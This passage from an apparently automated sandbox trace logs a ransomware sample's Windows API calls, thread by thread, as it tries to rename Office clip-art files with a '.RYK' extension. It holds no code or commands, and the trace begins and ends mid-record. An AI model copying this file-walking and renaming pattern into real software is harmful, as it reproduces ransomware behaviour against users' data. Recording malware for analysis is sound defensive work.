	[0249.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.015] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2810
	os_tid = 0x31e4

	[0249.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP", dwFileAttributes=0x80) returned 0
	[0249.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.016] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.016] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2811
	os_tid = 0x31e8

	[0249.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF", dwFileAttributes=0x80) returned 0
	[0249.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.036] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.036] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2812
	os_tid = 0x31ec

	[0249.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG", dwFileAttributes=0x80) returned 0
	[0250.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.035] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.035] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2823
	os_tid = 0x321c

	[0249.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG", dwFileAttributes=0x80) returned 0
	[0250.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.034] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2824
	os_tid = 0x3220

	[0249.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG", dwFileAttributes=0x80) returned 0
	[0250.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.959] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2825
	os_tid = 0x3224

	[0249.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG", dwFileAttributes=0x80) returned 0
	[0250.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.031] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2826
	os_tid = 0x3228

	[0249.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG", dwFileAttributes=0x80) returned 0
	[0250.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.959] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2827
	os_tid = 0x322c

	[0249.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG", dwFileAttributes=0x80) returned 0
	[0250.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.960] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2828
	os_tid = 0x3230

	[0249.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG", dwFileAttributes=0x80) returned 0
	[0250.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.961] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.961] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2829
	os_tid = 0x3234

	[0249.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF", dwFileAttributes=0x80) returned 0
	[0250.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.962] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.962] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2830
	os_tid = 0x3238

	[0249.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF", dwFileAttributes=0x80) returned 0
	[0250.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.963] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.963] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2831
	os_tid = 0x323c

	[0249.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF", dwFileAttributes=0x80) returned 0
	[0250.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.964] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.964] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2832
	os_tid = 0x3240

	[0249.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF", dwFileAttributes=0x80) returned 0
	[0250.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.964] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.964] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2833
	os_tid = 0x3244

	[0249.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF", dwFileAttributes=0x80) returned 0
	[0250.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.965] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2834
	os_tid = 0x3248

	[0249.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF", dwFileAttributes=0x80) returned 0
	[0250.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.966] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2835
	os_tid = 0x324c

	[0249.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF", dwFileAttributes=0x80) returned 0
	[0250.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.322] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2836
	os_tid = 0x3250

	[0249.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF", dwFileAttributes=0x80) returned 0
	[0250.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.957] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.957] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2837
	os_tid = 0x3254

	[0249.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID", dwFileAttributes=0x80) returned 0
	[0250.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.019] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.019] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2838
	os_tid = 0x3258

	[0249.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID", dwFileAttributes=0x80) returned 0
	[0250.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.956] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.956] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3004
	os_tid = 0x34d8

	[0251.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID", dwFileAttributes=0x80) returned 0
	[0251.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.393] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3005
	os_tid = 0x34dc

	[0251.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID", dwFileAttributes=0x80) returned 0
	[0251.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.190] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3007
	os_tid = 0x34e4

	[0251.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF", dwFileAttributes=0x80) returned 0
	[0251.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.194] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.194] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3008
	os_tid = 0x34e8

	[0251.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF", dwFileAttributes=0x80) returned 0
	[0251.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.205] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.206] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3009
	os_tid = 0x34ec

	[0251.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF", dwFileAttributes=0x80) returned 0
	[0251.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.207] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.207] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3011
	os_tid = 0x34f4

	[0251.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF", dwFileAttributes=0x80) returned 0
	[0251.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.395] CloseHandle (hObject=0xffffffffffffffff) returned 0
